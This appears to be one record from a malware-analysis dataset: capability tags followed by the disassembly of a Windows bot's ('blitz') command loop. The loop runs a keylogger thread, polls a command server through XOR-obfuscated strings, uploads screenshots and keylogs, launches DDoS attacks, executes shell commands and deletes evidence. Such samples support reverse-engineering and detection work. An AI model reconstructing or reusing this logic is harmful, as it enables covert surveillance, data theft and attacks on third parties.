Function at 0x6ff8ee40
Capabilities:
Check http status code
Create thread
Delete file
Encode data using xor
Query environment variable

Disassembly:
lea r10, [rsp + 8]
and rsp, 0xffffffffffffffe0
mov eax, 0x1210
push qword [r10 - 8]
push rbp
mov rbp, rsp
push r15
push r14
push r13
push r12
push r10
push rdi
push rsi
push rbx
call fcn.6ff82780
sub rsp, rax
call sym.main.exe_blitz_authenticate__
mov rbx, qword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
xor ecx, ecx
mov qword [rbp - 0x11d8], rax
xor r9d, r9d
lea r8, [sym.main.exe_blitz_install_keylogger_void_]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], 0
lea r8, [sym.main.exe_blitz_restart_handler_void_]
mov r9, qword [rbp - 0x11d8]
call rbx
lea rax, [rbp - 0x83b]
mov qword [rbp - 0x11f0], rax
movabs rax, 0x636f5378696b230c
mov byte [rbp - 0x844], 0
mov rbx, rsp
lea rdx, [rbp - 0x845]
mov qword [rbp - 0x854], rax
movabs rax, 0x7f292368626d6161
mov qword [rbp - 0x84c], rax
lea rax, [rbp - 0x854]
mov r12, rax
xor byte [rax + 1], 0xc
inc rax
cmp rax, rdx
jne 0x6ff8ef0f
mov r8, qword [rbp - 0x11d8]
lea r13, [rbp - 0x853]
lea r15, [rbp - 0x954]
mov byte [rbp - 0x844], 0
mov rdx, r13
mov rcx, r15
call sym.main.exe_sprintf_char__char_const__::_
mov byte [rbp - 0x83a], 0
movabs rax, 0x5a0f0f0d1e000477
mov qword [rbp - 0x854], rax
movabs rax, 0x12195a0d031e1b15
mov word [rbp - 0x83c], 0x1214
mov qword [rbp - 0x84c], rax
movabs rax, 0x16070459111f5903
mov qword [rbp - 0x844], rax
mov rax, r12
xor byte [rax + 1], 0x77
inc rax
cmp rax, qword [rbp - 0x11f0]
jne 0x6ff8ef88
lea rsi, [rbp - 0x990]
mov rdx, r15
mov rcx, r13
mov byte [rbp - 0x83a], 0
mov r8, rsi
call sym.main.exe_http_get_request_char_const__char_const__char_
cmp eax, 0x194
jne 0x6ff8efd8
mov rcx, qword [rbp - 0x990]
call sym.main.exe_http_free_char_
mov rcx, qword [rbp - 0x11d8]
call sym.main.exe_http_free_char_
call sym.main.exe_blitz_restart__
mov byte [rbp - 0x849], 0
movabs rax, 0x5a474c4c5b4a5a29
lea rdx, [rbp - 0x84a]
mov word [rbp - 0x84c], 0x4641
mov byte [rbp - 0x84a], 0x5d
mov qword [rbp - 0x854], rax
mov rax, r12
xor byte [rax + 1], 0x29
inc rax
cmp rax, rdx
jne 0x6ff8f00a
mov r14, qword [rbp - 0x990]
mov rdx, r13
mov byte [rbp - 0x849], 0
mov rcx, r14
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x6ff8f1d7
mov rcx, r14
call sym.main.exe_http_free_char_
mov byte [rbp - 0x840], 0
movabs rax, 0x230f343e35237f50
lea rdx, [rbp - 0x841]
mov dword [rbp - 0x844], 0x23757f24
mov qword [rbp - 0x854], rax
movabs rax, 0x3f38233e35352233
mov qword [rbp - 0x84c], rax
mov rax, r12
xor byte [rax + 1], 0x50
inc rax
cmp rax, rdx
jne 0x6ff8f07c
mov r8, qword [rbp - 0x11d8]
mov rdx, r13
mov rcx, r15
lea r14, [rbp - 0x988]
mov byte [rbp - 0x840], 0
call sym.main.exe_sprintf_char__char_const__::_
mov edx, 0x18
mov rcx, r14
call sym.main.exe_blitz_rand_string_char__int_
mov byte [rbp - 0x991], 0
lea rax, [rbp - 0x996]
lea rdx, [rbp - 0x992]
mov dword [rbp - 0x996], 0x1b130256
mov byte [rbp - 0x992], 6
xor byte [rax + 1], 0x56
inc rax
cmp rax, rdx
jne 0x6ff8f0db
lea rcx, [rbp - 0x995]
mov byte [rbp - 0x991], 0
call sub.msvcrt.dll_getenv
mov byte [rbp - 0x969], 0
lea rdx, [rbp - 0x96f]
mov dword [rbp - 0x96f], 0x6c431530
mov r8, rax
mov rdi, rdx
lea rax, [rbp - 0x96a]
mov word [rbp - 0x96b], 0x4315
xor byte [rdx + 1], 0x30
inc rdx
cmp rdx, rax
jne 0x6ff8f128
lea r13, [rbp - 0x96e]
mov r9, r14
mov rcx, r12
mov byte [rbp - 0x969], 0
mov rdx, r13
call sym.main.exe_sprintf_char__char_const__::_
mov rcx, r12
call sym.main.exe_blitz_screenshot_char_const_
mov byte [rbp - 0x955], 0
movabs rax, 0x7d28282a39272350
lea rdx, [rbp - 0x956]
mov qword [rbp - 0x96f], rax
movabs rax, 0x353e7d2a24393c32
mov word [rbp - 0x957], 0x3533
mov qword [rbp - 0x967], rax
movabs rax, 0x3120237e36387e24
mov qword [rbp - 0x95f], rax
mov rax, rdi
xor byte [rax + 1], 0x50
inc rax
cmp rax, rdx
jne 0x6ff8f1a5
mov rcx, r13
mov r9, rsi
mov r8, r12
mov rdx, r15
mov byte [rbp - 0x955], 0
call sym.main.exe_http_upload_file_char_const__char_const__char_const__char_
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x6ff8f738
mov byte [rbp - 0x84c], 0
lea rdx, [rbp - 0x84d]
movabs rax, 0x4e534b5a475b553e
mov qword [rbp - 0x854], rax
mov rax, r12
xor byte [rax + 1], 0x3e
inc rax
cmp rax, rdx
jne 0x6ff8f1f9
mov rdx, r13
mov rcx, r14
mov byte [rbp - 0x84c], 0
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x6ff8f35a
mov rcx, r14
call sym.main.exe_http_free_char_
mov byte [rbp - 0x846], 0
movabs rax, 0x784c777d76603c13
lea rdx, [rbp - 0x847]
mov dword [rbp - 0x84c], 0x3c606a76
mov word [rbp - 0x848], 0x6036
mov qword [rbp - 0x854], rax
mov rax, r12
xor byte [rax + 1], 0x13
inc rax
cmp rdx, rax
jne 0x6ff8f25c
mov r8, qword [rbp - 0x11d8]
mov rdx, r13
mov rcx, r15
mov byte [rbp - 0x846], 0
call sym.main.exe_sprintf_char__char_const__::_
mov rcx, qword [sym.main.exe_blz_logfile]
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov rdi, qword [sym.imp.KERNEL32.dll_CreateFileA]
mov edx, 0x80000000
mov r8d, 1
mov dword [rsp + 0x20], 3
call rdi
mov rcx, rax
cmp rax, 0xffffffffffffffff
je 0x6ff8f74c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movabs rax, 0x36636361726c681b
mov byte [rbp - 0x83a], 0
mov qword [rbp - 0x854], rax
movabs rax, 0x7e7536616f727779
mov qword [rbp - 0x84c], rax
movabs rax, 0x7a6b68357d73356f
mov qword [rbp - 0x844], rax
mov word [rbp - 0x83c], 0x7e78
xor byte [r12 + 1], 0x1b
inc r12
cmp r12, qword [rbp - 0x11f0]
jne 0x6ff8f30e
mov r8, qword [sym.main.exe_blz_logfile]
mov r9, rsi
mov rdx, r15
mov rcx, r13
mov byte [rbp - 0x83a], 0
call sym.main.exe_http_upload_file_char_const__char_const__char_const__char_
mov rcx, qword [rbp - 0x990]
call sym.main.exe_http_free_char_
mov rcx, qword [sym.main.exe_blz_logfile]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x6ff8f744
mov byte [rbp - 0x84e], 0
mov rax, r12
lea rdx, [rbp - 0x84f]
mov dword [rbp - 0x854], 0x555e5e3a
mov word [rbp - 0x850], 0x1a49
xor byte [rax + 1], 0x3a
inc rax
cmp rax, rdx
jne 0x6ff8f37e
mov r8d, 5
mov rdx, r13
mov rcx, r14
mov byte [rbp - 0x84e], 0
call sub.msvcrt.dll_strncmp
test eax, eax
jne 0x6ff8f421
mov byte [rbp - 0x965], 0
lea rdx, [rbp - 0x966]
movabs rax, 0x457101614150124
mov word [rbp - 0x967], 0x4001
mov qword [rbp - 0x96f], rax
lea rax, [rbp - 0x96f]
xor byte [rax + 1], 0x24
inc rax
cmp rdx, rax
jne 0x6ff8f3d5
lea rcx, [r14 + 5]
lea r9, [rbp - 0x54]
mov r8, r12
mov rsi, r12
lea rdx, [rbp - 0x96e]
mov byte [rbp - 0x965], 0
lea rdi, [rbp - 0x11d0]
call sym.main.exe_sscanf_char_const__char_const__::_
mov ecx, 0x201
rep movsd dword [rdi], dword [rsi]
lea rcx, [rbp - 0x11d0]
call sym.main.exe_blitz_ddos_ddos_t_
jmp 0x6ff8f738
mov r8d, 3
mov rdx, r13
mov rcx, r14
mov byte [rbp - 0x854], 0x6b
mov dword [rbp - 0x853], 0x206463
call sub.msvcrt.dll_strncmp
test eax, eax
jne 0x6ff8f523
mov ecx, 0x14
call sub.msvcrt.dll_malloc
lea rcx, [r14 + 3]
mov qword [rbp - 0x11e0], rax
call sub.msvcrt.dll__chdir
test eax, eax
jne 0x6ff8f4c3
mov byte [rbp - 0x95e], 0
lea rdx, [rbp - 0x95f]
movabs rax, 0x39301b7805730358
mov byte [rbp - 0x95f], 0x52
mov qword [rbp - 0x96f], rax
movabs rax, 0x2a313c783c3d3f36
mov qword [rbp - 0x967], rax
lea rax, [rbp - 0x96f]
xor byte [rax + 1], 0x58
inc rax
cmp rax, rdx
jne 0x6ff8f4a7
mov byte [rbp - 0x95e], 0
lea rdx, [rbp - 0x96e]
jmp 0x6ff8f515
mov byte [rbp - 0x842], 0
lea rdx, [rbp - 0x843]
movabs rax, 0x373f187e0373055e
mov word [rbp - 0x844], 0x543a
mov qword [rbp - 0x854], rax
movabs rax, 0x3d7e312a7e3a3b32
mov qword [rbp - 0x84c], rax
mov rax, r12
xor byte [rax + 1], 0x5e
inc rax
cmp rax, rdx
jne 0x6ff8f4ff
mov byte [rbp - 0x842], 0
mov rdx, r13
mov rcx, qword [rbp - 0x11e0]
call sub.msvcrt.dll_strcpy
jmp 0x6ff8f532
mov rcx, r14
call sym.main.exe_blitz_execute_char_
mov qword [rbp - 0x11e0], rax
xor edx, edx
xor ecx, ecx
call sub.msvcrt.dll__getcwd
mov rcx, rax
mov qword [rbp - 0x11f8], rax
call sym.main.exe_base64_encode_char_const_
cmp qword [rbp - 0x11e0], 0
lea rcx, section..rdata
cmovne rcx, qword [rbp - 0x11e0]
mov r14, rax
call sym.main.exe_base64_encode_char_const_
or r9, 0xffffffffffffffff
mov rdi, r14
mov qword [rbp - 0x11e8], rax
mov rcx, r9
xor eax, eax
repne scasb al, byte [rdi]
mov rdi, qword [rbp - 0x11e8]
mov rdx, rcx
mov rcx, r9
repne scasb al, byte [rdi]
not rdx
mov rax, rcx
not rax
lea rax, [rdx + rax + 0x4d]
shr rax, 4
shl rax, 4
call fcn.6ff82780
mov r8, qword [rbp - 0x11f8]
mov rcx, r8
sub rsp, rax
call sym.main.exe_blitz_free_void_
mov rcx, qword [rbp - 0x11e0]
lea rdi, [rsp + 0x40]
call sym.main.exe_blitz_free_void_
mov rcx, qword [rbp - 0x990]
call sym.main.exe_http_free_char_
mov byte [rbp - 0x845], 0
movabs rax, 0x455f6f4455431f30
lea rdx, [rbp - 0x846]
mov dword [rbp - 0x84c], 0x44454044
mov word [rbp - 0x848], 0x151f
mov byte [rbp - 0x846], 0x43
mov qword [rbp - 0x854], rax
mov rax, r12
xor byte [rax + 1], 0x30
inc rax
cmp rax, rdx
jne 0x6ff8f613
mov r8, qword [rbp - 0x11d8]
mov rdx, r13
mov rcx, r15
mov byte [rbp - 0x845], 0
call sym.main.exe_sprintf_char__char_const__::_
mov byte [rbp - 0x836], 0
movabs rax, 0x3a3f3b3a206d344f
lea rdx, [rbp - 0x837]
mov qword [rbp - 0x854], rax
movabs rax, 0x6d3c6a6d6f756d3b
mov dword [rbp - 0x83c], 0x3c6a6d6f
mov word [rbp - 0x838], 0x326d
mov qword [rbp - 0x84c], rax
movabs rax, 0x756d2b382c6d6f63
mov qword [rbp - 0x844], rax
mov rax, r12
xor byte [rax + 1], 0x4f
inc rax
cmp rax, rdx
jne 0x6ff8f68f
mov r8, qword [rbp - 0x11e8]
mov r9, r14
mov rdx, r13
mov rcx, rdi
mov byte [rbp - 0x836], 0
call sym.main.exe_sprintf_char__char_const__::_
mov byte [rbp - 0x83a], 0
movabs rax, 0x257575546585c2f
mov qword [rbp - 0x854], rax
movabs rax, 0x4a4102555b46434d
mov qword [rbp - 0x84c], rax
movabs rax, 0x4e5f5c014947015b
mov qword [rbp - 0x844], rax
mov word [rbp - 0x83c], 0x4a4c
xor byte [r12 + 1], 0x2f
inc r12
cmp qword [rbp - 0x11f0], r12
jne 0x6ff8f6fa
mov r9, rsi
mov r8, rdi
mov rdx, r15
mov rcx, r13
mov byte [rbp - 0x83a], 0
call sym.main.exe_http_post_request_char_const__char_const__char_const__char_
mov rcx, r14
call sym.main.exe_base64_free_char_
mov rcx, qword [rbp - 0x11e8]
call sym.main.exe_base64_free_char_
mov rcx, qword [rbp - 0x990]
call sym.main.exe_http_free_char_
mov rsp, rbx
jmp 0x6ff8eed2
mov rcx, qword [sym.main.exe_blz_logfile]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x40000000
mov dword [rsp + 0x20], 1
call rdi
mov rcx, rax
cmp rax, 0xffffffffffffffff
jne 0x6ff8f2c5
jmp 0x6ff8f2cb